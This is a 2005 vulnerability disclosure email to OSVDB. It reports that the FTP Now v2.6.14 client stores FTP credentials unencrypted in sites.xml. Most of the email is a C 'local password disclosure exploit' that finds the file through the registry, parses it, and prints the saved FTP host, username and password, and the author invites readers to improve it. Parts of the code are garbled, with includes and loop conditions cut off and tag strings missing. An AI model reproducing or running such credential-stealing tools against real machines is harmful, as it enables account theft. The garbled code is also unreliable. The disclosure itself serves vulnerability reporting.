From: kozan(at)netmagister.com To: moderators(at)osvdb.org Date: Thu, 7 Apr 2005 01:18:12 +0300 Subject: FTP Now v2.6.14 discloses passwords to local users --------------------- Application: --------------------- FTP Now v2.6.14 --------------------- Introduction: --------------------- Vendor: www.network-client.com Vendor Description: FTP Now is a fast, multi-threaded Windows FTP client software with the look-and-feel of Windows Explorer. It makes moving files between the Internet and your computer as simple as local file manipulation. Whether uploading a Web page and image, downloading the music and software or transferring various files between your computer and any FTP server, FTP Now will get the job done easily and fast, it is suitable for beginner and expert. --------------------- Bug: --------------------- FTP Now v2.6.14 stores all the information and passwords in "Program Files\FTP Now\sites.xml" file in plain text format without crypting and can be viewed by a local user. "sites.xml" Algorithm :
ftp.myhost.com
21 0 myftpuser myftppass 3 10
--------------------- Vendor Confirmed: --------------------- No. --------------------- Fix: --------------------- There is no solution at the time of this entry. --------------------- Exploit: --------------------- /******************************************************************* FTP Now v2.6.14 Local Password Disclosure Exploit by Kozan Application: FTP Now v2.6.14 (and prior versions) Vendor:www.network-client.com Vulnerable Description: FTP Now v2.6.14 discloses passwords to local users. Discovered & Coded by: Kozan Credits to ATmaCA Web: www.netmagister.com Web2: www.spyinstructors.com Mail: kozan(at)netmagister.com *******************************************************************/ #include #include #include HKEY hKey; #define BUFSIZE 100 char prgfiles[BUFSIZE]; DWORD dwBufLen=BUFSIZE; LONG lRet; int adresal(char *FilePath,char *Str) { char kr; int Sayac=0; int Offset=-1; FILE *di; di=fopen(FilePath,"rb"); if( di == NULL ) { fclose(di); return -1; } while(!feof(di)) { Sayac++; for(int i=0;i0 ) { fseek(di,Sayac+1,SEEK_SET); } break; } if( i > ( strlen(Str)-2 ) ) { Offset = ftell(di)-strlen(Str); fclose(di); return Offset; } } } fclose(di); return -1; } char *oku(char *FilePath,char *Str) { FILE *di; char cr; int i=0; char Feature[500]; int Offset = adresal(FilePath,Str); if( Offset == -1 ) return ""; if( (di=fopen(FilePath,"rb")) == NULL ) return ""; fseek(di,Offset+strlen(Str),SEEK_SET); while(!feof(di)) { cr=getc(di); if(cr == '<') break; Feature[i] = cr; i++; } Feature[i] = '\0'; fclose(di); return Feature; } int main() { if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion", 0, KEY_QUERY_VALUE, &hKey) == ERROR_SUCCESS) { lRet = RegQueryValueEx( hKey, "ProgramFilesDir", NULL, NULL, (LPBYTE) prgfiles, &dwBufLen); if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ) { RegCloseKey(hKey); printf("An error occured!\n"); exit(1); } RegCloseKey(hKey); } else { RegCloseKey(hKey); printf("An error occured!\n"); exit(1); } strcat(prgfiles,"\\FTP Now\\sites.xml"); printf("FTP Now <= v2.6.14 Local Exploit by Kozan\n"); printf("Credits to ATmaCA\n"); printf("www.netmagister.com - www.spyinstructors.com \n\n"); printf("This exploit only show the first profile and its password.\n"); printf("You may improve it freely...\n\n"); char FtpAddress[BUFSIZE], FtpUsername[BUFSIZE], FtpPassword[BUFSIZE]; strcpy(FtpAddress,oku(prgfiles,"
")); strcpy(FtpUsername,oku(prgfiles,"")); strcpy(FtpPassword,oku(prgfiles,"")); printf("Ftp Address : %s\n",FtpAddress); printf("Ftp Username : %s\n",FtpUsername); printf("Ftp Password : %s\n",FtpPassword); return 0; } Kozan...